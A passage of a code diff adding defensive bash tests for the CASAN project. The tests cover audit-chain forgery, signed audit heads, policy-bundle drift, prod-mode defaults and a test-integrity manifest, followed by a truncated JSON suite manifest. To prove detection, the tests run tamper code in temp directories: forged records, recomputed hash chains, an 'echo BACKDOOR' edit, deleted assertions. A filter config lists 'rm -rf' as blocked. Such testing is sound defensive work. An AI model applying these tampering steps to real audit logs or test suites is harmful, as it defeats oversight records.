|
||||||
|
# fabricated hash 'deadbeef'.
|
||||||
|
bash "$BASH_DIR/verify-audit-chain.sh" "$AUDIT" >/dev/null 2>&1 \
|
||||||
|
&& pass "audit chain still verifies after injection attempt" \
|
||||||
|
|| fail "chain broken after injection (record_hash mismatch)"
|
||||||
|
|
||||||
|
grep -q '"record_hash":"deadbeef"\|"record_hash": "deadbeef"' "$AUDIT" \
|
||||||
|
&& fail "forged record with attacker hash present in audit log" \
|
||||||
|
|| pass "no forged record injected into audit log"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "===== SEC-05 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
|
||||||
|
[[ "$FAIL" -eq 0 ]] || exit 1
|
||||||
@@ -0,0 +1,78 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -uo pipefail
|
||||||
|
|
||||||
|
# CASAN Plan-16 SEC-06 (H-06) — control-plane audit head is SIGNED.
|
||||||
|
#
|
||||||
|
# The control-plane audit chain is a recomputable hash chain: a file-writer who
|
||||||
|
# edits the store could recompute every hash and the chain-only `verify-audit`
|
||||||
|
# would still PASS, so governance-report would falsely report CERTIFIED. Signing
|
||||||
|
# the head with an off-repo key closes this:
|
||||||
|
# * an intact signed store verifies (permissive + strict),
|
||||||
|
# * a recompute-tampered store FAILS (signature no longer matches the head),
|
||||||
|
# * a fully unsigned store FAILS in enforced mode (governance-report inherits
|
||||||
|
# CASAN_PROFILE=prod, so a certified run demands a signature).
|
||||||
|
#
|
||||||
|
# Deterministic; hermetic (temp store + temp keys + temp pubkey).
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
|
||||||
|
CP="$PROJECT_ROOT/.specify/scripts/bash/control-plane-settings.py"
|
||||||
|
WORK="$(mktemp -d)"
|
||||||
|
trap 'rm -rf "$WORK"' EXIT
|
||||||
|
|
||||||
|
export CASAN_CP_STORE_FILE="$WORK/store.json"
|
||||||
|
export CASAN_CP_KEY_DIR="$WORK/keys"
|
||||||
|
export CASAN_CP_PUB="$WORK/cp-public.pem" # provisioned out-of-band (attacker cannot rewrite in this test)
|
||||||
|
|
||||||
|
PASS=0; FAIL=0
|
||||||
|
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
|
||||||
|
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
|
||||||
|
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
|
||||||
|
|
||||||
|
echo "===== Plan-16 SEC-06: control-plane audit head signed ====="
|
||||||
|
|
||||||
|
python3 "$CP" set compression.enabled true --actor a@x --reason r >/dev/null 2>&1
|
||||||
|
python3 "$CP" set compression.mode structural --actor a@x --reason r >/dev/null 2>&1
|
||||||
|
|
||||||
|
[[ "$(rc_of python3 "$CP" verify-audit)" -eq 0 ]] \
|
||||||
|
&& pass "intact signed store verifies (permissive)" || fail "intact store rejected"
|
||||||
|
[[ "$(rc_of env CASAN_VERIFY_STRICT=1 python3 "$CP" verify-audit)" -eq 0 ]] \
|
||||||
|
&& pass "intact signed store verifies (strict)" || fail "intact store rejected in strict"
|
||||||
|
|
||||||
|
# Recompute-attack: tamper a value AND recompute the entire hash chain so it is
|
||||||
|
# internally consistent. The head signature (over the original head) must not match.
|
||||||
|
python3 - "$CASAN_CP_STORE_FILE" <<'PY'
|
||||||
|
import hashlib, json, sys
|
||||||
|
p = sys.argv[1]; d = json.load(open(p))
|
||||||
|
d["settings"]["compression.enabled"]["value"] = False
|
||||||
|
prev = "0" * 64
|
||||||
|
def he(e): return hashlib.sha256(json.dumps(e, sort_keys=True, ensure_ascii=False).encode()).hexdigest()
|
||||||
|
for e in d["audit"]:
|
||||||
|
if e.get("key") == "compression.enabled" and e.get("action") == "set":
|
||||||
|
e["value"] = False
|
||||||
|
rest = {k: v for k, v in e.items() if k != "hash"}; rest["prevHash"] = prev
|
||||||
|
for k in list(e):
|
||||||
|
if k != "hash": e[k] = rest[k]
|
||||||
|
e["hash"] = he(rest); prev = e["hash"]
|
||||||
|
json.dump(d, open(p, "w"), indent=2)
|
||||||
|
PY
|
||||||
|
[[ "$(rc_of python3 "$CP" verify-audit)" -ne 0 ]] \
|
||||||
|
&& pass "recompute-tampered store FAILS (head signature mismatch)" \
|
||||||
|
|| fail "recompute attack passed verification (H-06 not closed!)"
|
||||||
|
|
||||||
|
# Keyless attacker: delete the signature artifacts entirely. Enforced mode (what a
|
||||||
|
# certified run / prod profile uses) must reject an unsigned store; dev stays lax.
|
||||||
|
rm -f "$CASAN_CP_STORE_FILE.head" "$CASAN_CP_STORE_FILE.head.sig" "$CASAN_CP_PUB"
|
||||||
|
# rebuild a clean, internally-valid but UNSIGNED store (fresh sets would re-sign, so
|
||||||
|
# strip the signature after): easiest is to reuse the tampered chain which is
|
||||||
|
# internally valid; with sig files gone it is "unsigned".
|
||||||
|
[[ "$(rc_of env CASAN_VERIFY_STRICT=1 python3 "$CP" verify-audit)" -ne 0 ]] \
|
||||||
|
&& pass "unsigned store FAILS in enforced mode (prod / certified run)" \
|
||||||
|
|| fail "unsigned store accepted in enforced mode"
|
||||||
|
[[ "$(rc_of python3 "$CP" verify-audit)" -eq 0 ]] \
|
||||||
|
&& pass "unsigned store still OK in permissive dev mode (backward compat)" \
|
||||||
|
|| fail "permissive mode wrongly rejected unsigned store"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "===== SEC-06 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
|
||||||
|
[[ "$FAIL" -eq 0 ]] || exit 1
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -uo pipefail
|
||||||
|
|
||||||
|
# CASAN Plan-16 SEC-16 (ARCH-01) — signed harness + policy bundle.
|
||||||
|
#
|
||||||
|
# Editing a gate or policy file (security-check.sh, prompt-filter.yaml,
|
||||||
|
# thresholds.yaml, *.pin, reviewers.registry) disables a control with no input
|
||||||
|
# trace. The signed bundle manifest binds the harness code + policy; the harness
|
||||||
|
# verifies its self-hash and refuses on drift. Proves:
|
||||||
|
# * intact bundle verifies (permissive + strict/signed),
|
||||||
|
# * a 1-byte edit to a gate script → verify FAIL (drift),
|
||||||
|
# * a new unmanifested policy file → verify FAIL,
|
||||||
|
# * a tampered manifest → verify FAIL (signature invalid),
|
||||||
|
# * casan-harness in prod REFUSES to run when the bundle has drifted.
|
||||||
|
#
|
||||||
|
# Deterministic; hermetic (temp bundle root + temp keys/manifest).
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
|
||||||
|
BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash"
|
||||||
|
BI="$BASH_DIR/bundle-integrity.py"
|
||||||
|
WORK="$(mktemp -d)"
|
||||||
|
trap 'rm -rf "$WORK"' EXIT
|
||||||
|
|
||||||
|
PASS=0; FAIL=0
|
||||||
|
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
|
||||||
|
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
|
||||||
|
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
|
||||||
|
|
||||||
|
echo "===== Plan-16 SEC-16: signed harness + policy bundle ====="
|
||||||
|
|
||||||
|
# --- Tool-level (hermetic temp bundle) ---
|
||||||
|
ROOT="$WORK/root"; mkdir -p "$ROOT/scripts/bash" "$ROOT/config"
|
||||||
|
echo 'echo gate' > "$ROOT/scripts/bash/security-check.sh"
|
||||||
|
echo 'block: [rm -rf]' > "$ROOT/config/prompt-filter.yaml"
|
||||||
|
export CASAN_BUNDLE_ROOT="$ROOT" CASAN_BUNDLE_MANIFEST="$WORK/m.json"
|
||||||
|
export CASAN_BUNDLE_KEY_DIR="$WORK/keys" CASAN_BUNDLE_PUB="$WORK/b.pub"
|
||||||
|
|
||||||
|
python3 "$BI" generate >/dev/null 2>&1
|
||||||
|
[[ "$(rc_of python3 "$BI" verify)" -eq 0 ]] && pass "intact bundle verifies" || fail "intact verify failed"
|
||||||
|
[[ "$(rc_of python3 "$BI" verify --strict)" -eq 0 ]] && pass "intact bundle verifies (strict/signed)" || fail "strict verify failed"
|
||||||
|
|
||||||
|
echo 'echo gate; echo BACKDOOR' > "$ROOT/scripts/bash/security-check.sh"
|
||||||
|
[[ "$(rc_of python3 "$BI" verify)" -ne 0 ]] && pass "1-byte gate edit → FAIL (drift)" || fail "drift not detected"
|
||||||
|
|
||||||
|
echo 'echo gate' > "$ROOT/scripts/bash/security-check.sh" # restore
|
||||||
|
echo 'x: 1' > "$ROOT/config/thresholds.yaml" # add unmanifested policy
|
||||||
|
[[ "$(rc_of python3 "$BI" verify)" -ne 0 ]] && pass "unmanifested policy file → FAIL" || fail "unmanifested not detected"
|
||||||
|
|
||||||
|
rm -f "$ROOT/config/thresholds.yaml"; python3 "$BI" generate >/dev/null 2>&1
|
||||||
|
python3 - "$WORK/m.json" <<'PY'
|
||||||
|
import json, sys
|
||||||
|
d = json.load(open(sys.argv[1])); k = list(d["files"]); d["files"][k[0]] = "0" * 64
|
||||||
|
json.dump(d, open(sys.argv[1], "w"))
|
||||||
|
PY
|
||||||
|
[[ "$(rc_of python3 "$BI" verify)" -ne 0 ]] && pass "tampered manifest → FAIL (signature invalid)" || fail "manifest tamper not detected"
|
||||||
|
|
||||||
|
unset CASAN_BUNDLE_ROOT CASAN_BUNDLE_MANIFEST CASAN_BUNDLE_KEY_DIR CASAN_BUNDLE_PUB
|
||||||
|
|
||||||
|
# --- Harness-level: prod run refuses on bundle drift ---
|
||||||
|
HROOT="$WORK/hroot"; mkdir -p "$HROOT/scripts/bash"
|
||||||
|
echo 'echo gate' > "$HROOT/scripts/bash/security-check.sh"
|
||||||
|
env CASAN_BUNDLE_ROOT="$HROOT" CASAN_BUNDLE_MANIFEST="$WORK/hm.json" \
|
||||||
|
CASAN_BUNDLE_KEY_DIR="$WORK/hkeys" CASAN_BUNDLE_PUB="$WORK/h.pub" \
|
||||||
|
python3 "$BI" generate >/dev/null 2>&1
|
||||||
|
echo 'echo gate; echo BACKDOOR' > "$HROOT/scripts/bash/security-check.sh" # drift the bundle
|
||||||
|
|
||||||
|
echo "hi" > "$WORK/in.txt"
|
||||||
|
OUT="$(set +e; env CASAN_PROFILE=prod CASAN_KILLSWITCH_DIR="$WORK/noks" \
|
||||||
|
CASAN_BUNDLE_ROOT="$HROOT" CASAN_BUNDLE_MANIFEST="$WORK/hm.json" \
|
||||||
|
CASAN_BUNDLE_KEY_DIR="$WORK/hkeys" CASAN_BUNDLE_PUB="$WORK/h.pub" \
|
||||||
|
bash "$BASH_DIR/casan-harness.sh" "$WORK/in.txt" "$WORK/o.txt" act -- bash -c 'echo x' 2>&1)"
|
||||||
|
echo "$OUT" | grep -q "BUNDLE_INTEGRITY_DRIFT" \
|
||||||
|
&& pass "casan-harness (prod) REFUSES to run on bundle drift" \
|
||||||
|
|| fail "harness did not refuse on bundle drift"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "===== SEC-16 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
|
||||||
|
[[ "$FAIL" -eq 0 ]] || exit 1
|
||||||
@@ -0,0 +1,74 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -uo pipefail
|
||||||
|
|
||||||
|
# CASAN Plan-16 SEC-17 (ARCH-03) — CASAN_PROFILE=prod is secure-by-default.
|
||||||
|
#
|
||||||
|
# Many strong controls were opt-in env flags (off unless explicitly set), so a
|
||||||
|
# lazy operator ran permissively. Under CASAN_PROFILE=prod they now default ON —
|
||||||
|
# while an explicit `=0` still wins (internal scans that disable a flag on purpose
|
||||||
|
# must stay disabled). Proven across three real controls:
|
||||||
|
# * verify-audit-chain: unsigned chain fails under prod,
|
||||||
|
# * control-plane verify-audit: unsigned store fails under prod,
|
||||||
|
# * casan-harness kill-switch: engaged switch is enforced under prod, but an
|
||||||
|
# explicit CASAN_KILLSWITCH_ENFORCE=0 overrides.
|
||||||
|
#
|
||||||
|
# Deterministic; hermetic (temp dirs); no model/network.
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
|
||||||
|
BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash"
|
||||||
|
WORK="$(mktemp -d)"
|
||||||
|
trap 'rm -rf "$WORK"' EXIT
|
||||||
|
|
||||||
|
PASS=0; FAIL=0
|
||||||
|
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
|
||||||
|
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
|
||||||
|
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
|
||||||
|
|
||||||
|
echo "===== Plan-16 SEC-17: CASAN_PROFILE=prod secure-by-default ====="
|
||||||
|
|
||||||
|
# --- Control 1: verify-audit-chain (unsigned) ---
|
||||||
|
AUD="$WORK/audit"; mkdir -p "$AUD"
|
||||||
|
python3 - "$AUD/audit.jsonl" <<'PY'
|
||||||
|
import hashlib, json, sys
|
||||||
|
core = "|".join(["2026-07-06T00:00:00Z","t1","act","a@x","low","ALLOW","n/a","","ih","oh",""])
|
||||||
|
h = hashlib.sha256(core.encode()).hexdigest()
|
||||||
|
open(sys.argv[1],"w").write(json.dumps({"timestamp":"2026-07-06T00:00:00Z","trace_id":"t1","action":"act",
|
||||||
|
"actor":"a@x","risk_level":"low","decision":"ALLOW","approval_status":"n/a","approver":"",
|
||||||
|
"input_hash":"ih","output_hash":"oh","previous_record_hash":"","record_hash":h})+"\n")
|
||||||
|
PY
|
||||||
|
[[ "$(rc_of bash "$BASH_DIR/verify-audit-chain.sh" "$AUD/audit.jsonl")" -eq 0 ]] \
|
||||||
|
&& pass "verify-audit-chain: permissive default allows unsigned" || fail "permissive should allow unsigned"
|
||||||
|
[[ "$(rc_of env CASAN_PROFILE=prod bash "$BASH_DIR/verify-audit-chain.sh" "$AUD/audit.jsonl")" -ne 0 ]] \
|
||||||
|
&& pass "verify-audit-chain: prod profile enforces (unsigned FAILS)" || fail "prod did not enforce audit-chain"
|
||||||
|
|
||||||
|
# --- Control 2: control-plane verify-audit (unsigned store) ---
|
||||||
|
export CASAN_CP_STORE_FILE="$WORK/cp.json" CASAN_CP_KEY_DIR="$WORK/cpkeys" CASAN_CP_PUB="$WORK/cp.pub"
|
||||||
|
python3 "$BASH_DIR/control-plane-settings.py" set compression.enabled true --actor a --reason r >/dev/null 2>&1
|
||||||
|
rm -f "$WORK/cp.json.head" "$WORK/cp.json.head.sig" "$WORK/cp.pub" # strip the signature -> unsigned store
|
||||||
|
[[ "$(rc_of python3 "$BASH_DIR/control-plane-settings.py" verify-audit)" -eq 0 ]] \
|
||||||
|
&& pass "control-plane: permissive default allows unsigned store" || fail "permissive should allow unsigned store"
|
||||||
|
[[ "$(rc_of env CASAN_PROFILE=prod python3 "$BASH_DIR/control-plane-settings.py" verify-audit)" -ne 0 ]] \
|
||||||
|
&& pass "control-plane: prod profile enforces (unsigned store FAILS)" || fail "prod did not enforce control-plane"
|
||||||
|
unset CASAN_CP_STORE_FILE CASAN_CP_KEY_DIR CASAN_CP_PUB
|
||||||
|
|
||||||
|
# --- Control 3: casan-harness kill-switch (prod-on + explicit-0-wins) ---
|
||||||
|
export CASAN_KILLSWITCH_DIR="$WORK/ks"
|
||||||
|
echo "hi" > "$WORK/in.txt"
|
||||||
|
bash "$BASH_DIR/kill-switch.sh" engage project sec17 "test" >/dev/null 2>&1
|
||||||
|
|
||||||
|
OUT="$(set +e; CASAN_PROFILE=prod CASAN_KILLSWITCH_SCOPE=project CASAN_KILLSWITCH_ID=sec17 \
|
||||||
|
bash "$BASH_DIR/casan-harness.sh" "$WORK/in.txt" "$WORK/o.txt" act -- bash -c 'echo x' 2>&1)"
|
||||||
|
echo "$OUT" | grep -q "KILL_SWITCH_ACTIVE" \
|
||||||
|
&& pass "kill-switch: prod profile enforces an engaged switch (no explicit flag)" \
|
||||||
|
|| fail "prod profile did not enforce kill-switch"
|
||||||
|
|
||||||
|
OUT="$(set +e; CASAN_PROFILE=prod CASAN_KILLSWITCH_ENFORCE=0 CASAN_KILLSWITCH_SCOPE=project CASAN_KILLSWITCH_ID=sec17 \
|
||||||
|
bash "$BASH_DIR/casan-harness.sh" "$WORK/in.txt" "$WORK/o2.txt" act -- bash -c 'echo x' 2>&1)"
|
||||||
|
echo "$OUT" | grep -q "KILL_SWITCH_ACTIVE" \
|
||||||
|
&& fail "explicit CASAN_KILLSWITCH_ENFORCE=0 was overridden by prod (should win)" \
|
||||||
|
|| pass "kill-switch: explicit =0 overrides prod default (internal opt-out preserved)"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "===== SEC-17 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
|
||||||
|
[[ "$FAIL" -eq 0 ]] || exit 1
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -uo pipefail
|
||||||
|
|
||||||
|
# CASAN Plan-16 SEC-18 (ARCH-02) — test-integrity manifest.
|
||||||
|
#
|
||||||
|
# Test suites are in the same repo an attacker can edit, so "green" proves nothing
|
||||||
|
# if a fail-able check was quietly deleted. The signed manifest records per-suite
|
||||||
|
# hash + fail-able-check count; CI re-verifies. This proves:
|
||||||
|
# * intact suites verify (permissive + strict/signed),
|
||||||
|
# * deleting a fail-able check -> FAIL (coverage regression),
|
||||||
|
# * removing a whole suite -> FAIL (suite removed),
|
||||||
|
# * tampering the manifest -> FAIL (signature invalid).
|
||||||
|
#
|
||||||
|
# Deterministic; hermetic (operates on a temp copy of the test dir).
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
|
||||||
|
TI="$PROJECT_ROOT/.specify/scripts/bash/test-integrity.py"
|
||||||
|
WORK="$(mktemp -d)"
|
||||||
|
trap 'rm -rf "$WORK"' EXIT
|
||||||
|
|
||||||
|
mkdir -p "$WORK/tests"
|
||||||
|
cp "$PROJECT_ROOT/.specify/tests/phase-sec01-tests.sh" \
|
||||||
|
"$PROJECT_ROOT/.specify/tests/phase-control-plane-tests.sh" "$WORK/tests/"
|
||||||
|
export CASAN_TESTS_DIR="$WORK/tests"
|
||||||
|
export CASAN_TEST_MANIFEST="$WORK/manifest.json"
|
||||||
|
export CASAN_TI_KEY_DIR="$WORK/keys"
|
||||||
|
export CASAN_TI_PUB="$WORK/ti.pub"
|
||||||
|
|
||||||
|
PASS=0; FAIL=0
|
||||||
|
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
|
||||||
|
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
|
||||||
|
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
|
||||||
|
|
||||||
|
echo "===== Plan-16 SEC-18: test-integrity manifest ====="
|
||||||
|
|
||||||
|
python3 "$TI" generate >/dev/null 2>&1
|
||||||
|
[[ "$(rc_of python3 "$TI" verify)" -eq 0 ]] \
|
||||||
|
&& pass "intact suites verify" || fail "intact verify failed"
|
||||||
|
[[ "$(rc_of python3 "$TI" verify --strict)" -eq 0 ]] \
|
||||||
|
&& pass "intact suites verify under --strict (signed)" || fail "strict verify failed on signed manifest"
|
||||||
|
|
||||||
|
# Delete one fail-able check line from a suite.
|
||||||
|
python3 - "$WORK/tests/phase-sec01-tests.sh" <<'PY'
|
||||||
|
import re, sys
|
||||||
|
p = sys.argv[1]
|
||||||
|
lines = open(p, encoding="utf-8").read().splitlines(keepends=True)
|
||||||
|
out, removed = [], False
|
||||||
|
for ln in lines:
|
||||||
|
if not removed and 'pass "' in ln:
|
||||||
|
removed = True # drop the first assertion line
|
||||||
|
continue
|
||||||
|
out.append(ln)
|
||||||
|
open(p, "w", encoding="utf-8").write("".join(out))
|
||||||
|
PY
|
||||||
|
[[ "$(rc_of python3 "$TI" verify)" -ne 0 ]] \
|
||||||
|
&& pass "deleting a fail-able check → FAIL (coverage regression)" \
|
||||||
|
|| fail "coverage regression not detected"
|
||||||
|
|
||||||
|
# Restore, then remove an entire suite.
|
||||||
|
python3 "$TI" generate >/dev/null 2>&1
|
||||||
|
rm -f "$WORK/tests/phase-control-plane-tests.sh"
|
||||||
|
[[ "$(rc_of python3 "$TI" verify)" -ne 0 ]] \
|
||||||
|
&& pass "removing a whole suite → FAIL (suite removed)" \
|
||||||
|
|| fail "suite removal not detected"
|
||||||
|
|
||||||
|
# Restore, then tamper the manifest content (without re-signing).
|
||||||
|
cp "$PROJECT_ROOT/.specify/tests/phase-control-plane-tests.sh" "$WORK/tests/"
|
||||||
|
python3 "$TI" generate >/dev/null 2>&1
|
||||||
|
python3 - "$WORK/manifest.json" <<'PY'
|
||||||
|
import json, sys
|
||||||
|
p = sys.argv[1]; d = json.load(open(p))
|
||||||
|
# lower a recorded count so a later real drop would pass — the signature must catch this
|
||||||
|
for name in d["suites"]:
|
||||||
|
d["suites"][name]["checks"] = 0
|
||||||
|
json.dump(d, open(p, "w"), indent=2)
|
||||||
|
PY
|
||||||
|
[[ "$(rc_of python3 "$TI" verify)" -ne 0 ]] \
|
||||||
|
&& pass "tampering the manifest → FAIL (signature invalid)" \
|
||||||
|
|| fail "manifest tamper not detected by signature"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "===== SEC-18 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
|
||||||
|
[[ "$FAIL" -eq 0 ]] || exit 1
|
||||||
@@ -223,11 +223,16 @@ bash "$SCRIPTS/sign-audit-head.sh" "$PROJECT_ROOT/.specify/logs/audit/audit.json
|
|||||||
"$SCRIPTS/verify-tool-audit.sh" "$PROJECT_ROOT/.specify/logs/audit/tool-calls.jsonl" > "$LEVEL5_DIR/11c-tool-audit-verify.stdout"
|
"$SCRIPTS/verify-tool-audit.sh" "$PROJECT_ROOT/.specify/logs/audit/tool-calls.jsonl" > "$LEVEL5_DIR/11c-tool-audit-verify.stdout"
|
||||||
assert_contains "$LEVEL5_DIR/11c-tool-audit-verify.stdout" "TOOL_AUDIT_VALID"
|
assert_contains "$LEVEL5_DIR/11c-tool-audit-verify.stdout" "TOOL_AUDIT_VALID"
|
||||||
|
|
||||||
# L5: rollback transaction record and execute
|
# L5: rollback transaction — checkpoint a file and execute a genuine restore.
|
||||||
|
# SEC-03 (H-03): `execute` runs only whitelisted STRUCTURED ops (no `bash -c`), so
|
||||||
|
# rollback is exercised via `checkpoint` (the safe path) rather than a free-form
|
||||||
|
# recorded shell command. The marker starts at the state we expect restored.
|
||||||
ROLLBACK_MARKER="$LEVEL5_DIR/13-rollback-marker.txt"
|
ROLLBACK_MARKER="$LEVEL5_DIR/13-rollback-marker.txt"
|
||||||
ROLLBACK_RECORD="$("$SCRIPTS/rollback-manager.sh" record deploy "printf rolled_back > '$ROLLBACK_MARKER'")"
|
printf 'rolled_back' > "$ROLLBACK_MARKER"
|
||||||
|
ROLLBACK_RECORD="$("$SCRIPTS/rollback-manager.sh" checkpoint "$ROLLBACK_MARKER")"
|
||||||
printf '%s\n' "$ROLLBACK_RECORD" > "$LEVEL5_DIR/13-rollback-record.stdout"
|
printf '%s\n' "$ROLLBACK_RECORD" > "$LEVEL5_DIR/13-rollback-record.stdout"
|
||||||
TX_ID="$(printf '%s\n' "$ROLLBACK_RECORD" | sed -n 's/.*transaction_id=//p')"
|
TX_ID="$(printf '%s\n' "$ROLLBACK_RECORD" | sed -n 's/.*transaction_id=\([^ ]*\).*/\1/p')"
|
||||||
|
printf 'MODIFIED_AFTER_CHECKPOINT' > "$ROLLBACK_MARKER"
|
||||||
"$SCRIPTS/rollback-manager.sh" execute "$TX_ID" > "$LEVEL5_DIR/13-rollback-execute.stdout"
|
"$SCRIPTS/rollback-manager.sh" execute "$TX_ID" > "$LEVEL5_DIR/13-rollback-execute.stdout"
|
||||||
assert_contains "$ROLLBACK_MARKER" "rolled_back"
|
assert_contains "$ROLLBACK_MARKER" "rolled_back"
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,138 @@
|
|||||||
|
{
|
||||||
|
"suites": {
|
||||||
|
"adversarial-harness-tests.sh": {
|
||||||
|
"sha256": "3cedc614214045ea3c58ab4ddb018ed7e69e2a9051ee1dd5f7228258ba2417a7",
|
||||||
|
"checks": 41
|
||||||
|
},
|
||||||
|
"phase-c6-sandbox-tests.sh": {
|
||||||
|
"sha256": "b1ae109f2449ddc59547551d1c0e457ce767d55451854b3d40ca2d9ca4e851b7",
|
||||||
|
"checks": 4
|
||||||
|
},
|
||||||
|
"phase-c7-incident-tests.sh": {
|
||||||
|
"sha256": "87f83d660bbc5ee541fd299472d991694e44013a1248ee5ebb802b5009b99327",
|
||||||
|
"checks": 16
|
||||||
|
},
|
||||||
|
"phase-control-plane-tests.sh": {
|
||||||
|
"sha256": "50c1c1b20ea43858d5f6a65b5fa0b7c09c13e3ae8b2348ca983bc15733b10130",
|
||||||
|
"checks": 9
|
||||||
|
},
|
||||||
|
"phase-governance-report-tests.sh": {
|
||||||
|
"sha256": "a0720d70fae876a346037bce6762576bfba0b65c0148593d860550befa7a0182",
|
||||||
|
"checks": 5
|
||||||
|
},
|
||||||
|
"phase-h4-multilingual-tests.sh": {
|
||||||
|
"sha256": "e99ca2b85c5d70987ff0cae162bb370a612574093f164567c92bf3075e965a7f",
|
||||||
|
"checks": 3
|
||||||
|
},
|
||||||
|
"phase-h4-split-inject-tests.sh": {
|
||||||
|
"sha256": "60bca85653e6568146056d4c50c71f51d85b025c30fcb75de8ac8b4f9f655d1c",
|
||||||
|
"checks": 9
|
||||||
|
},
|
||||||
|
"phase-h5-approval-tests.sh": {
|
||||||
|
"sha256": "091761e2c99821fec0a11b0099697fe24e3d30a3f6491930acbf10d02cacf7d3",
|
||||||
|
"checks": 13
|
||||||
|
},
|
||||||
|
"phase-h5-infra-tests.sh": {
|
||||||
|
"sha256": "4117c7a21af5be28c1f833efff239ee441cadfdbbec65427fa39d4349a94cdd2",
|
||||||
|
"checks": 8
|
||||||
|
},
|
||||||
|
"phase-h6-agentops-tests.sh": {
|
||||||
|
"sha256": "1b3e347fed4403a227eebb51a888c5b19653fe448e0b3a6e6094d4efccc510d1",
|
||||||
|
"checks": 21
|
||||||
|
},
|
||||||
|
"phase-preflight-tests.sh": {
|
||||||
|
"sha256": "b184211b1fe55d71ce4f0d371d26f5245f721a6bc4a51e3f61301b3126821eea",
|
||||||
|
"checks": 5
|
||||||
|
},
|
||||||
|
"phase-prod-infra-lab-tests.sh": {
|
||||||
|
"sha256": "a6bff248f0c495ebee56e2ba07de270d22503f357434b6cb948430f08cf996a8",
|
||||||
|
"checks": 2
|
||||||
|
},
|
||||||
|
"phase-rai-tests.sh": {
|
||||||
|
"sha256": "bad387ad26ae3088c016f51ff5d6e1c234c9b94fbdb8fa9f736b6bebedd81cd8",
|
||||||
|
"checks": 12
|
||||||
|
},
|
||||||
|
"phase-rbac-tests.sh": {
|
||||||
|
"sha256": "e7a2eb9110539f21eddf77f7fb9df0e616967d0dc870063d11a078e8920a3226",
|
||||||
|
"checks": 12
|
||||||
|
},
|
||||||
|
"phase-sec01-tests.sh": {
|
||||||
|
"sha256": "293b944f71298d38d7e89bea9d4906e40ffbe81f9d822c2ca320bb5a2ba21d92",
|
||||||
|
"checks": 10
|
||||||
|
},
|
||||||
|
"phase-sec02-tests.sh": {
|
||||||
|
"sha256": "4f76e12bcaf96f2d001436af10ddd21d5b858456660d01df8dfbeef3f3de53af",
|
||||||
|
"checks": 3
|
||||||
|
},
|
||||||
|
"phase-sec03-tests.sh": {
|
||||||
|
"sha256": "ea4d00e4dc35e5717dbdedc7fc84b87ec30f2f0c99c0898a113d63582e7ed982",
|
||||||
|
"checks": 3
|
||||||
|
},
|
||||||
|
"phase-sec04-tests.sh": {
|
||||||
|
"sha256": "c451b61e4efa8aba9394a548f8b248285f9f78c9e466d29045e1320877f28ef1",
|
||||||
|
"checks": 4
|
||||||
|
},
|
||||||
|
"phase-sec05-tests.sh": {
|
||||||
|
"sha256": "0800e34c4da323a0937b8594cdee256062575166723e413be9c334ce70290823",
|
||||||
|
"checks": 4
|
||||||
|
},
|
||||||
|
"phase-sec06-tests.sh": {
|
||||||
|
"sha256": "71e04cba738f501e79dd6b2c02aa86c7434c5ce541af5c7e512a2c94219f1c33",
|
||||||
|
"checks": 5
|
||||||
|
},
|
||||||
|
"phase-sec16-tests.sh": {
|
||||||
|
"sha256": "3d826ca4f5c8f98837cc70846b8e2f2f83d5a598c2a5907795e8b9cc9db448c2",
|
||||||
|
"checks": 6
|
||||||
|
},
|
||||||
|
"phase-sec17-tests.sh": {
|
||||||
|
"sha256": "d68b93ebc0d16ee2369a5525fe206a9133c95ef0f931f9bfa799d21b571dbf4c",
|
||||||
|
"checks": 6
|
||||||
|
},
|
||||||
|
"phase-selfimprove-tests.sh": {
|
||||||
|
"sha256": "e91db1af16e30b18def130553f27f05691ff5540eca0593ca5e07f624c0ef938",
|
||||||
|
"checks": 7
|
||||||
|
},
|
||||||
|
"phase08-compression-tests.sh": {
|
||||||
|
"sha256": "3efdb7b13b77579e6d7750add608be0ce894ecc2e816d2d507de8070e794aae7",
|
||||||
|
"checks": 9
|
||||||
|
},
|
